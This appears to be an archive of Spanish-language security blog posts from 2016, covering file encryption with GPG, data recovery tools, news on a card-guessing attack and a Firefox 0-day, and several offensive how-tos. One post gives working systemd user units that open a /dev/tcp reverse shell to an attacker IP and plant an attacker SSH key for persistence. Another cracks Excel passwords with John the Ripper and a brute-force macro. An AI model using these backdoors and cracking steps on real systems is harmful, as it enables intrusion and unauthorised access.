martes, 13 de diciembre de 2016

Infectando y controlando Android desde la computadora



En el siguiente artículo mostraré brevemente cómo podrías terminar con tu dispositivo móvil troyanizado al descargar aplicaciones de dudosa procedencia o bien no prestar atención a los permisos que solicitan.

Para la demostración que se puede ver en el video de más abajo, utilizo el reconocido framework Metasploit que permite crear fácilmente una aplicación .apk con un módulo de Meterpreter adaptado para Android.

De esta forma, una vez que esta aplicación especial se ejecuta en el dispositivo es posible controlarlo remotamente y realizar diversas acciones como tomar fotografías con la cámara, acceder a todas las fotos y videos, activar el micrófono para escuchar el sonido ambiente, ver todos los mensajes de texto, las llamadas realizadas y mucho más.



Los comandos necesarios para generar el entorno de prueba en Metasploit son los siguientes:








En un ataque real se utilizará una aplicación con funciones similares a las de esta demostración, la instalación se podría realizar teniendo acceso físico al dispositivo o bien por medio de alguna técnica de ingeniería social.

En este último caso los permisos solicitados durante la instalación serían los mínimos necesarios para no levantar sospechas.

Por esta razón es importante evitar descargar aplicaciones de dudosa procedencia y prestar atención a los permisos que solicitan durante la instalación. La forma más segura de descargar aplicaciones es hacerlo desde Google Play, aunque tampoco se debe confiar plenamente en todas las Apps.

El uso de un antivirus es algo recomendable, pero se debe tener en cuenta que no son 100% efectivos y para un atacante no sería complicado evadirlos. En este sentido les recomiendo ver esta conferenciade la DragonJAR Security Conference 2016 donde se explica el funcionamiento básico de los antivirus en Android y cómo se podría camuflar el .apk generado por Metasploit.



lunes, 12 de diciembre de 2016

Cómo cifrar y descifrar archivos y directorios en Linux



Existen muchas maneras de cifrar un archivo o directorio en Linux, pero quizás la más común es usar GNU Privacy Guard (GnuPG o GPG), la implementación libre del estándar OpenPGP. Entre sus características destacan:

- Mejor funcionalidad que PGP y algunas mejoras de seguridad sobre PGP 2.
- Descifra y verifica los mensajes PGP 5, 6 y 7.
- Soporta ElGamal, DSA, RSA, AES, 3DES, Blowfish, Twofish, CAST5, MD5, SHA-1, RIPE-MD-160 y TIGER.
- Fácil implementación de nuevos algoritmos utilizando módulos de extensión.
- Soporta fechas de caducidad de claves y firmas.
- Soporta múltiples idiomas

Hoy vamos a ver algunos ejemplos para cifrar tanto ficheros como directorios con gpg, además de otras alternativas.

Cifrando archivos con una contraseña

En primer lugar para cifrar un fichero con gpg simplemente tendremos que escribir en nuestra consola: 

gpg -c file.to.encrypt

Con la opción "-c" usaremos un cifrado simétrico usando una contraseña o passphrase. El cifrado simétrico por defecto es CAST5 pero podemos usar cualquiera de los disponibles con la opción -cipher-algo. Además, podemos combinar esta opción con -sign para firmar el mensaje, -encrypt para cifrar el mensaje mediante una passphrase o clave privada, o usar ambos simultáneamente.

Luego, para descifrar el fichero simplemente ejecutaremos:

gpg file.to.encrypt.gpg

Cifrando archivos con una clave privada

Antes de nada si queremos usar cifrado simétrico tendremos que crearnos un par de claves (privada/pública):

gpg --gen-key

root@server:/# gpg --gen-key
gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 
Requested keysize is 2048 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 2y
Key expires at lun 10 dic 2018 06:36:08 CET
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: vmotos
Email address: hackplayers@ymail.com
Comment: poc
You selected this USER-ID:
    "vmotos (poc) <hackplayers@ymail.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

Repeat passphrase: 

Durante el proceso de creación de las claves es importante seleccionar una passphraserobusta, la cual se nos pedirá sólo cuando descifremos algo.

Una vez que haya suficientes bytes aleatorios disponibles, se generarán las claves. Pero la disponibilidad de suficientes bytes aleatorios no es una tarea fácil. Por lo que para tener rápidamente la suficiente entropía podemos ejecutar en otra consola:

ls -l /dev/urandom
rngd -r /dev/random

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

Not enough random bytes available.  Please do some other work to give
the OS a chance to collect more entropy! (Need 186 more bytes)
...........+++++
.........+++++
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

Not enough random bytes available.  Please do some other work to give
the OS a chance to collect more entropy! (Need 82 more bytes)
...+++++

Not enough random bytes available.  Please do some other work to give
the OS a chance to collect more entropy! (Need 109 more bytes)
...+++++
gpg: /home/vmotos/.gnupg/trustdb.gpg: trustdb created
gpg: key 593G622F marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: next trustdb check due at 2018-12-10
pub   2048R/593F628F 2016-12-10 [expires: 2018-12-10]
      Key fingerprint = 1159 84C6 56E2 C9F8 C036  D545 395D AFD1 593F 628F
uid                  vmotos (poc) <hackplayers@ymail.com>
sub   2048R/B132791F 2016-12-10 [expires: 2018-12-10]

Una vez generado el par de claves, para exportar la clave pública ejecutaremos el siguiente comando:

gpg --armor --output public-key.txt --export 'vmotos'

cat public-key.txt 
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1

mQENBFhLlMMBCACp239DyzlvfqOuzaOgZQfuXbCUPXcXuqjow8mrCLLjwN1v7R6c
H+XcH3gezTf4R8SNUZu1LFp39ErANiEiH8C67Yj6AyKIfxJdsQ1EYU3AhQvZgX+9
tSUNLl3+qZB0oA6KggOptrYepCjSemx9VIp2zbrMUN6YG9r0eRRCFqfWlTtkOE4f
3mzWBzxZA1znZb7j2JUhrdFKXn1X64qR3Gu2gs3lkZ1bVAVRubiUXvA/PxGuOxl0
OUNguSGInYHKy3OiHVKkW7GPeNhbKDhhC6V29AnsYp24owVAf1A/qngqPeWk8x7Q
SuUD6Qs6iaD1wNM2wdh/PACho0vByUZf47RJABEBAAG0JHZtb3RvcyAocG9jKSA8
aGFja3BsYXllcnNAeW1haWwuY29tPokBPgQTAQIAKAUCWEuUwwIbAwUJA8JnAAYL
CQgHAwIGFQgCCQoLCBYCAwECHgECF4AACgkQOV2v0Vk/Yo/aqwf/VO/6gz3mcbv8
9k+ggI11ThehvC3W5wG4/jaD2YIlkXNeAyOw8L9ZkflQO4D4OziBJo9j1IUGiIjy
EOgPiwzFcVk6y5cCtT/ItgCT4Wyz30Osr+w52GyEx2hh82d6aGqfqlYYXz5X3LID
NNxuSfgr4DrkAaAlw1uBtLjF671lSm1fYHsSjRaf6YDltDFsJdSbDHt1ZXt2m9F7
TwhShfwq7mxTuVtaPyGXofHWq+kxAeBUz4u/QXlDmXGZ6zoymE4zaqLBwzEHeTzF
CMm7IXKqcU28iCTAghT/EAUjzDlN5u8gSjl2PeOAkgHIIcj+owJMeWO7CGqg2Dy6
DRccAIAjXLkBDQRYS5TDAQgAvRQ78ytZrqrmos+Ics6OCMweZ7UrVIcFsoz3SV6P
j3wn85UOlkCluVbiBySUTw0cpoW13JXbvhY/VBmtdpVdagllKxTkaGdr/njegwtB
QuwceC0Avq2BT233C8OuH2n8z62co3H2oSzI87TcSb5+bLtoZyHrgIYTexNAo9Zp
kGJPix7jwFSC8Hu+hP3UWuJo3gXi/EYksWGlCFJrxVQkNXpXoMnQycCC6nqPRMne
F/HOyS9U5+FdtaVIooalOj7vVzmS9UL5y0Eoc4Yjma36YU9IqDNPprcMdRlbIbwl
9EhQiikX1Wdxvmf47oyua7+1LqjgcCaer+ZBXo3a02n9WwARAQABiQElBBgBAgAP
BQJYS5TDAhsMBQkDwmcAAAoJEDldr9FZP2KP730H/A+TLCD2tNq2gHA9r9SNOitQ
K/5ASdZ2gAsWrWS6FKDHzk3vsfUCJubAd80R/7zxGT9ihy4xKwpQapVhI1pqxNGT
E/upsryMnYw5/yUZbEWTVlD/XvxvsqYCJRyxW3BwTtU47zSMuOJHTqfOY1DGFHga
ixednhfjBCHiTgL1etJ29NioRBtsMadY9D34y9B9k789ZR2jh0ImwxEGW2RmxHLI
9nPuzyyGfQVjnkQos8/s4WM5zBuQx9FxUyCERK2QAt63vie229IQMuWFPpH7nN3G
o46X0BSBsuD0B2qIduSpjVEfPztw5sdclXU/lf05cfZRR+GJrmB7TnPhSCCJoG0=
=SvAM
-----END PGP PUBLIC KEY BLOCK-----

Dicha clave pública tendrá que ser importada en sistema al que enviaremos el archivo cifrado:

gpg --import public-key.txt

gpg --list-keys
/home/vmotos/.gnupg/pubring.gpg
-------------------------------
pub   2048R/593F628F 2016-12-10 [expires: 2018-12-10]
uid                  vmotos (poc) 
sub   2048R/B152791F 2016-12-10 [expires: 2018-12-10]

Finalmente, para cifrar el archivo con cifrado asimétrico escribiremos en la consola:

gpg --encrypt --recipient 'vmotos' archivo.txt

Y obtendremos el dichero archivo.txt.gpg cifrado para enviarlo al servidor donde previamente habíamos enviado e importado la clave pública.

Para descifrarlo:

gpg -d -o ~USERNAME/decrypted ~USERNAME/filename

Y por último, para cifrar múltiples archivos automáticamente podemos usar un sencillo script, como por ejemplo:

#!/bin/bash
line="/home/myself/Whatever/found.txt"
while IFS='' read -r line || [[ -n "$line" ]]; do
    echo "Text read from file: $line"
    gpg2 -e -u mysecretkeyID -r mysecretkeyID "$line"
  done < "$1"

Cifrando directorios

Si queremos cifrar directorios podremos combinar este comando con tar, como se muestra en los siguientes casos:

tar zcvf - /tmp/directory | gpg -c > /tmp/directory.tar.gz.gpg
 

tar c project1.7z project2.7z | gpg --cipher-algo AES256 --compression-algo BZIP2 -co projects.gpg
 

tar -c foldername | gpg2 -e > folder.tar.gpg

O podemos usar gpg-zip. Por ejemplo, ciframos los contenidos del directorio mydocs al fichero test1 con el usuario Bob:

gpg-zip --encrypt --output test1.gpg --gpg-args  -r Bob mydocs

Para listar los contenidos del archivo test1:

gpg-zip --list-archive test1.gpg

Y para descifrarlo:

gpg-zip -d test1.gpg

Otra alternativa bastante popular es ecryptfs. Para instalarlo en debian/ubuntu:

sudo apt-get install ecryptfs-utils

Después crearemos un directorio "Private" de tal manera que cualquier dato que pongamos en el mismo será automáticamente cifrado cuando cerremos sesión y descifrado cuando hagamos login:

ecryptfs-setup-private

Si queremos seleccionar un directorio diferente...

mkdir ~/secret
chmod 700 ~/secret

sudo mount -t ecryptfs ~your_user/secret ~your_user/secret

Ponemos nuestros datos en ~/secret

Para cifrar:

sudo umount ~your_user/secret

Para descifrar:

sudo mount ./secret ./secret -o key=passphrase,ecryptfs_cipher=aes,ecryptfs_key_bytes=16,

ecryptfs_passthrough=no,ecryptfs_enable_filename_crypto=yes

Otras alternativas:

- openssl

Cifrar:

openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3

Descrifrar:

openssl des3 -d -salt -in encrypted-data.tar.des3 -out unencrypted-data.tar

Abrir un directorio cifrado:

openssl enc -aes-256-cbc -d -in ~/vault.tar.gz.dat | tar xz; thunar ~/vault

Bloqueando un directorio cifrado:

tar cz vault/ | openssl enc -aes-256-cbc -out ~/vault.tar.gz.dat; rm -r ~/vault

- Aescrypt

Cifrar:

aescrypt -e -p password  file.jpg

Descifrar:

aescrypt -d -p password file.jpg.aes

- mcrypt

Cifrar:

mcrypt "File"

Descifrar:

mcrypt -d "File"

- zip

Comprimir y cifrar:

zip file.zip file
zip -r directory.zip directory
zip --encrypt file.zip.enc file # prompt for password
zip --encrypt -r directory.zip.enc directory # prompt for password

Descomprimir y cifrar:

unzip directory.zip.enc #Beware if any directory is present with the same name as the zipped file, then it would be overwritten. Hence I normally send the contents to another directory.
unzip directory.zip.enc -d directory-new # prompts for password

- ccrypt

Combinándolo con tar:

tar cvvjf - /path/to/files | ccrypt > backup.tar.bz2.cpt

Único comando:

ccrypt backup.tar.bz2

Para automatización, también permite guardar la passkey en un fichero y usarla para cifrar:

ccrypt -k ~/.passkey backup.tar.bz2

- bcrypt
   
bcrypt ~/Desktop/Tecmint/tecmint.txt
bcrypt tecmint.txt.bfe

- 7-zip


$ 7za a -tzip -p -mem=AES256 tecmint.zip tecmint.txt tecmint1.txt
$ 7za e tecmint.zip

- nautilus 

GUI



Fuentes:

http://askubuntu.com/questions/98443/encrypting-files-and-folder-through-terminal
http://unix.stackexchange.com/questions/43846/encrypt-multiple-files-at-once
http://superuser.com/questions/249497/how-to-encrypt-a-file-or-directory-in-linux
http://www.everything-linux-101.com/how-to/how-to-encrypt-and-decrypt-files-folders-in-linux-using-gnupg/
https://www.cyberciti.biz/tips/linux-how-to-encrypt-and-decrypt-files-with-a-password.html
http://superuser.com/questions/370389/how-do-i-password-protect-a-tgz-file-with-tar-in-unix
http://statistics.berkeley.edu/computing/encrypt
http://www.tecmint.com/linux-password-protect-files-with-encryption/

jueves, 8 de diciembre de 2016

Los mejores programas para recuperar archivos borrados por error

Cada día almacenamos más o más archivos en nuestro ordenador. Documentos, fotos, vídeo y todo tipo de ficheros que son de gran valor y que en un momento determinado podemos perder de manera inesperada. Un virus, un descuido o cualquier otra cosa puede hacer que perdamos o borremos archivos de nuestro disco duro de manera accidental, sin embargo, hoy en día existen herramientas capaces de ayudarnos a recuperar estos datos perdidos, aunque antes de nada, hay que decir que no siempre es posible recuperarlos.
Se pueden dar varias circunstancias por las que no podamos recuperar los archivos borrados, pero la esperanza debe ser lo último que se pierda y de ahí que vamos a mostrar a continuación algunas de las herramientas más utilizadas para la recuperación de datos perdidos en Windows.

Recuva

Cuando hablamos de recuperar datos borrados, sin duda, Recuva es una de las aplicaciones a las que más acuden los usuarios cuando se encuentran ante esta situación. Se trata de una herramienta que permite recuperar archivos eliminados tanto del ordenador como de otros dispositivos como memorias externas y que nos puede ayudar también en caso de tener un disco duro dañado o incluso para eliminar datos de forma totalmente segura y que nadie los pueda recuperar. Puedes ver con todo detalle cómo funciona Recuva en este tutorial elaborado por nuestros compañeros de SOFTZone.


TestDisk

Es otra herramienta que desde hace tiempo ofrece la recuperación de archivos borrados de manera eficiente. Se trata de una aplicación gratuita que permite recuperar las tablas de particiones Apple Partition map, GUID, MBR, Solaris o Xbox, por lo que ofrece soporte para casi cualquier sistema de archivos. De esta forma, es una gran herramienta cuando queremos recuperar particiones eliminadas o borradas tal y como puedes ver en este manual.

DMDE

Sin duda otro de los programas de referencia cuando se trata de recuperar archivos borrados, ya que se trata de un potente software para la recuperación, la búsqueda e incluso la edición de datos. Permite recuperar estructuras de directorios y archivos en circunstancias extrañas y donde otras herramientas no ofrecen grandes garantías gracias al uso de algoritmos especiales. Puedes descargar DMDE desde este enlace a su página web oficial.


Recovery My Files

Otra herramienta a tener en cuenta cuando necesitamos recuperar archivos borrados de nuestro disco duro, ya que además es muy sencillo de utilizar puesto que cuenta con un asistente que nos guiará en todo momento durante el proceso de recuperación de archivos. Al final del mismo, nos mostrará todos los archivos eliminados y que pueden ser recuperados para que fácilmente podamos restaurarlos en el mismo lugar donde estaban antes de ser borrados. Puedes conocer más sobre Recovery My Files en este pequeño tutorial elaborado por nuestros compañeros de REDESZone.

Minitool Power Data Recovery

Esta aplicación permite elegir el tipo de recuperación de datos que queremos hacer, es decir, si los datos han sido borrados, si son particiones perdidas o lo que queremos es recuperar archivos multimedia desde dispositivos de almacenamiento, recuperar datos de discos o particiones dañadas o incluso desde CDs o DVDs. Si quieres conocer como trabaja a fondo Monitool Power Data Recovery, te recomendamos que leas este post dedicado a esta herramienta.

Disk Drill

Es una potente herramienta para la recuperación de datos eliminados que está alimentada por múltiples algoritmos de recuperación de archivos capaces de escanear distintos sistemas de archivos como FAT32, EXT, HFS+ o NTFS, entre otros. Además, permite filtrar por el tipo de archivo que buscamos recuperar y cuenta también con la opción de restaurar toda una unidad o particiones eliminadas. Puedes ver el análisis realizado por nuestros compañeros de SOFTZone de esta herramienta en este mismo enlace.

Pandora Recovery

Pandora Recovery está diseñada para permitir encontrar y recuperar archivos borrados y recuperables de NTFS y volúmenes con formato FAT. Independientemente de su tipo, permite recuperar imágenes, canciones, películas, documentos, etc. La herramienta realiza un proceso de escaneado del disco duro con el fin de elaborar un índice de archivos existentes y eliminados, así como de las carpetas o directorios, en cualquier unidad lógica de nuestro PC para que posteriormente los podamos recuperar de manera sencilla. Puedes descargar Pandora Recovery desde este enlace a su página web oficial.

martes, 6 de diciembre de 2016

Obtener datos de tarjetas de crédito en 6 segundos [Paper]



Investigadores de la Universidad de Newcastle han publicado un nuevo mecanismo de ataque, denominado Distributed Guessing Attack [PDF] mediante el cual dicen que puede robar los datos de una tarjeta de crédito/débito en tan sólo seis segundos.

Las tarjetas se han convertido en un medio de pago en línea de facto. Esto también ha dado lugar a un aumento en el número de fraudes. ¿Qué métodos de seguridad se están adoptando para garantizar una transacción segura sin dinero en efectivo?

El estudio publicado en el IEEE Security & Privacy Journal muestra cómo se puede evitar todas las medidas de seguridad supuestamente implementadas para garantizar la seguridad de las transacciones en línea.

Sorprendentemente, esta intervención podría ayudar a los ciberdelincuentes a buscar números de tarjetas de crédito, códigos de seguridad, fechas de caducidad y otra información en tan sólo 6 segundos.

El ataque utiliza la respuesta (positiva o negativa) de la página de pago del comerciante para "adivinar" los datos y explora dos debilidades. En primer lugar, los sistemas de pago actuales no detectan múltiples solicitudes inválidas de la misma tarjeta desde diferentes sitios web. Esto implica que se pueden realizar conjeturas "ilimitadas"distribuyendo" la carga desde miles de sitios web. En segundo lugar, como los comerciantes proporcionan varios campos para introducir los datos, se puede adivinar de un campo a la vez.

Estas dos características facilitan las cosas a los atacantes y se pueden obtener todos los detalles de la tarjeta de crédito en cuestión de segundos, lanzado el ataque en varias páginas de pago. Con la ayuda de de ir "descartando" datos, puede verificar el número correcto de la tarjeta, el código de seguridad y el número de CVV desde diferentes sitios.




En el estudio, el ataque se llevó a cabo utilizando Firefox y scripts automatizados escritos en Java Selenium, un marco de automatización para navegadores web.

Después del estudio, los investigadores han notificado a Visa y otros sitios afectados y mientras que algunos sitios web han endurecido su configuración de seguridad, muchos optaron por ignorar esta advertencia.

Con el fin de mejorar la seguridad personal, los investigadores han sugerido que los titulares de tarjetas deben utilizar una sola tarjeta para los pagos en línea y reducir al mínimo el límite de gastos.

Fuente: FossBytes

lunes, 5 de diciembre de 2016

lo principal para desproteger un Excel con contraseña PU

Desde que soy consultor de seguridad una de las herramientas que más utilizo de mi arsenal de hacking es... Excel ... y cómo este blog va de lo que va... pues vamos a mostraros un pequeño "how-to" para romper las principales protecciones de nuestras hojas de cálculo favoritas.

Cifrar con contraseña

Algo muy común es proteger el acceso total al fichero con una contraseña:



Lo que hace Excel por debajo para proteger la hoja de cálculo de esta manera es cifrar el archivo con AES y una clave de 128 bits (ojo porque hay un pequeño truquito para aumentarla a 256 bits modificando el registro). Para romperlo, lo mejor en este caso es utilizar un ataque de diccionario con John the Ripper o cualquier otra herramienta que gustéis.... 

Primero obtenemos el hash de la contraseña del documento con office2john incluido en la versión jumbo 1.7.9 compilada por Robert Harris:

D:\Hacking\john-1.7.9-jumbo-7-Win-32\run>office2john.exe /cygdrive/d/Libro1.xlsx  > hash_excel.txt

/cygdrive/d/Libro1.xlsx:$office$*2010*100000*128*16*507e4f65f0c73a48077b22ce5473ccec*50946a93488c091f536b4063eb3ae667*799528a214fb108b73f91ef5806222ebf9049d87e963238ac5a1acf82f9eb9db
 
Ahora un poquito de benchmarking para comprobar la capacidad de mi patata de PC: 
D:\Hacking\john-1.7.9-jumbo-7-Win-32\run>john --test --format=office
Benchmarking: Office 2007/2010 SHA-1/AES [32/32]... DONE
Raw:    30.1 c/s real, 30.3 c/s virtual
 
Después iniciamos el ataque de fuerza bruta con el diccionario elegido: 
D:\Hacking\john-1.7.9-jumbo-7-Win-32\run>john -w:dicio.txt hash_excel.txt
Loaded 1 password hash (Office 2007/2010 SHA-1/AES [32/32])
123456           (/cygdrive/d/Libro1.xlsx)
guesses: 1  time: 0:00:00:00 DONE (Fri Mar 28 00:27:47 2014)  c/s: 14.83  trying
: 123456
Use the "--show" option to display all of the cracked passwords reliably
  
Y en menos de 5 segundos tenemos acceso al mismo, gracias en parte a que el dueño del documento utilizó una de las peores contraseñas posibles

Finalmente guardamos el fichero como Libro2.xlsm, pero antes en el desplegable 'Herramientas' seleccionamos 'Opciones generales' y eliminamos la contraseña de apertura:

  

Ojo que office2john sólo funciona con versiones 2007-2010, no con las versiones viejas que usan RC4 (office 97, 2000, XP, 2003). Por lo que tendrás que utilizar por ejemplo Free Password Recovery Softwarehashcat u otra herramienta.

Bloquear el proyecto VBA

Otra opción es establecer una contraseña para ver las propiedades o incluso visualizar el proyecto VBA (las macros). 




Sin embargo esta *irrisoria* protección es para el UI y básicamente añade unas pocas líneas al form:

CMG="0604AB00EA009E049E049A089A08"
DPB="C6B41DD07A30374D374DC8B3384DDC63D35C51C89D809616E325E4129493EEFDBC48EE77D47B79"
GC="6664CAA0CBE07BE17BE17B"

Estos campos corresponden a ProjectProtectionState, ProjectPassword y ProjectVisibilityState respectivamente. Por lo que si borramos esos campos (reemplazando el texto con espacios en blanco) Excel no nos pedirá una contraseña para ver el código del proyecto...

Para ello descomprimimos el fichero Libro2.xlsm como si de un zip se trataba, editamos el fichero xl\vbaProject.bin con notepad++ (u otro editor hexadecimal) y cambiamos DPB= por DBx=.

Luego guardamos el archivo con la misma extensión .BIN y agregamos al zip sustituyendo el mismo archivo.

Al abrir de nuevo el fichero Excel nos dirá que contiene una clave 'DPx' no válida:


Simplemente continuamos cargando el proyecto, ignoramos el error, asignamos una nueva contraseña en las propiedades de VBAProject y salvamos...

Al volver a abrirlo tendremos acceso al código de la macro:


Proteger hoja actual y estructura del libro

Otra opción que normalmente se utiliza es la de proteger la hoja actual y la estructura del libro para que otros usuarios no realicen cambios:


Sin embargo, quitar esta protección también es bastante trivial. Simplemente añade al proyecto VBA la siguiente macro: 


Sub PasswordBreaker()
    'Breaks worksheet password protection.
    Dim i As Integer, j As Integer, k As Integer
    Dim l As Integer, m As Integer, n As Integer
    Dim i1 As Integer, i2 As Integer, i3 As Integer
    Dim i4 As Integer, i5 As Integer, i6 As Integer
    On Error Resume Next
    For i = 65 To 66: For j = 65 To 66: For k = 65 To 66
    For l = 65 To 66: For m = 65 To 66: For i1 = 65 To 66
    For i2 = 65 To 66: For i3 = 65 To 66: For i4 = 65 To 66
    For i5 = 65 To 66: For i6 = 65 To 66: For n = 32 To 126
    ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _
        Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _
        Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
    If ActiveSheet.ProtectContents = False Then
        MsgBox "One usable password is " & Chr(i) & Chr(j) & _
            Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _
            Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)
         Exit Sub
    End If
    Next: Next: Next: Next: Next: Next
    Next: Next: Next: Next: Next: Next
End Sub

Ejecutalá y se mostrará la clave de respaldo que ocupa internamente el código de Excel en dicha hoja:   

A partir de ahora ya podremos editar la hoja excel e incluso desproteger el fichero:


Fuente: 
http://www.hackplayers.com/2014/03/como-desproteger-un-excel-con-password.html

jueves, 1 de diciembre de 2016

Abusando de los servicios de usuario de systemd



No sin cierta controversia, la mayoría de las distribuciones de Linux están adoptando o planeando adoptar el sistema de inicio systemd.

Como muchos ya sabéis, systemd se basa en el manejo de unidades (unit) que básicamente son cualquier recurso que el sistema sabe que puede operar y/o administrar, ya sea un servicio, socket, dispositivo, punto de montaje, etc. 

La forma en la que systemd debe manejar una unidad viene definida en ficheros que por defecto se encuentran en /etc/systemd/system, aunque podrían estar en cualquier otra ubicación como por ejemplo las de usuario que se encuentran normalmente en $HOME/.config/systemd/user o $HOME/.local/share/systemd/user/

Recordemos que systemd ofrece a los usuarios la capacidad de ejecutar una instancia de systemd para gestionar la sesión y los servicios que normalmente se ejecutan como un usuario diferente a root o un usuario especial. Por lo que si cualquier usuario puede interactuar con las unidades ubicadas en sus directorios también cualquiera puede configurar un servicio que se ejecute al inicio del sistema.

Y si ese servicio es... digamos... ¿una shell inversa? Pues como si de una oferta se tratase, tendríamos un 2x1 a explotar: backdoor y persistencia.

Empecemos con el backdoor, tan fácil como usar un dispositivo especial TCP en bash:

[Unit]
Description=Black magic happening, avert your eyes

[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.10.100.123/31337; cat <&5 | while read line; do $line 2>&5 >&5; done"

[Install]
WantedBy=default.target

Sólo tenemos que copiar el fichero al dir correspondiente e iniciarlo con: $ systemctl --user start voodoo

Si la máquina del atacante está escuchando en el puerto indicado ($ echo "touch /tmp/systemd-test-backdoor" | nc -l 31337) y se tiene acceso desde el equipo de la víctima obtendremos inmediatamente la shell. Bastante sencillo, ¿verdad?

Pues no menos sencillo es conseguir persistencia. Sólo tenemos que activar el servicio con $ systemctl --user enable voodoo y, cada vez que un usuario se valide, systemd lanzará la shell inversa.

Podéis imaginaros que las posibilidades son muchas y variadas. Si queremos por ejemplo backdoorizar el acceso SSH podemos crear un fichero unit como el siguiente (fijaros que al contrario de lo que se hace normalmente ExecStop ejecuta el código y ExecStart lo limpia):

[Unit]
description=Totally not a virus, trust me I'm a dolphin
[Service]
RemainAfterExit=yes
Type=simple
ExecStop=/bin/bash -c 'mkdir -p $HOME/.ssh && touch $HOME/.ssh/authorized_keys; [ "$(grep "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" $HOME/.ssh/authorized_keys)" ] || echo "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" >> $HOME/.ssh/authorized_keys'
ExecStart=/bin/bash -c 'sed -i \'/ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH/d\' $HOME/.ssh/authorized_keys'

[Install]
WantedBy=default.target

Y esto sólo son PoC... un atacante malintencionado iría aún más lejos y podría por ejemplo detectar cualquier usuario interactivo usando inotify en utmp para hacer menos ruido, encadenar archivos de servicio para detectar cuando otro interactúa, abusar de los aspectos en memoria de los archivos de servicio para ocultarse, secuestrar variables de entorno, obtener info en tiempo de ejecución de /proc, etc.

En definitiva, ¿cuándo fue la última vez que ejecutaste systemctl --user? No es que sea muy novedoso, pero es otra técnica a tener en cuenta y otro lugar que los administradores deben vigilar.

Fuentes:
abusing systemd user services 
systemd/User (Español)

miércoles, 30 de noviembre de 2016

Exploit 0-Day para Firefox parchea!



Los delincuentes han estado explotando una vulnerabilidad 0-Day en Firefox para desenmascarar a usuarios del navegador Tor, similar a la que había explotado el FBI durante la investigación de un sitio de pornografía infantil.

El exploit 0-Day se aprovecha de un Javascript diseñado para ejecutar código de forma remota en Windows y a través de un defecto de corrupción de memoria en Firefox.El exploit fue hecho publicó por un administrador en la lista de correo Tor-Talk.

El mensaje revela que el exploit afecta a Firefox y se está utilizando contra los usuarios del navegador Tor Browser, versión re-empaquetada de Mozilla Firefox que permite conexiones a través de la red Tor, para ocultar la dirección IP pública del usuario.

"[El código] consiste en un HTML y un archivo CSS. La funcionalidad exacta se desconoce, pero permite el acceso a VirtualAlloc en kernel32.dll". Esto significa que, cuando se explota con Javascript activado en un equipo Windows, se aprovechar de una vulnerabilidad de corrupción de memoria para hacer llamadas directas a kernel32.dll, lo que permite que el código se ejecute con permisos elevados en Windows.

Los investigadores también encontraron que el exploit realiza conexiones a la IP XXX.39.27.226, un servidor remoto alojado en OVH en Francia. Este servidor ya no está respondiendo en este momento.

Aunque los investigadores aún están analizando el código, un vistazo rápido permite determinar que es muy similar al utilizado por el FBI el año 2013, para tener acceso a sitios de pornografía infantil.

Hasta el momento se cree que la vulnerabilidad afecta desde Firefox 41 hasta la versión actual 50.

Todavía no se sabe quién está detrás del Javascript. Actualiza a Firefox 50.0.2.

Fuente: The Hacker News

martes, 29 de noviembre de 2016

Tor Phone el prototipo de Tor



Esperamos ver pronto y en la calle el llamado 'Tor Phone', un nuevo teléfono que ha sido diseñado por el desarrollador de Tor Mike Perry y que se basa en Copperhead OS, una distribución de Android que viene con múltiples mejoras de seguridad. Recordemos que el equipo de seguridad de Android de Google ha aceptado muchos parches de Copperhead en su base de código de Android.

"Copperhead es también la única ROM de Android que soporta el boot verificado, lo que evita que los exploits modifiquen las particiones de arranque, sistema, recuperación y proveedor
", explica Perry.

Tor Phone también usa OrWall, un firewall para Android que dirige todo el tráfico a través de la red Tor y bloquea otras conexiones, de forma similar a lo que hace la distro Tails Linux Live CD.
Además OrWall permite tener el control completo del smartphone, pudiendo elegir qué aplicación debe tener el tráfico cifrado por Tor.

De momento el prototipo actual tiene muchas "piezas" inacabadas. En el futuro, el proyecto desea añadir más soporte de dispositivos, soporte de MicroG, API de Netfilter, reducibilidad, estabilidad de Orbot, etc. 

Inicialmente el modelo del hardware elegido es el Google Nexus 6P. Podéis ver el detalle del proceso de instalación del prototipo en la web de Tor Project, además o animamos a colaborar o contribuir con el proyecto:


https://blog.torproject.org/blog/mission-improbable-hardening-android-security-and-privacy

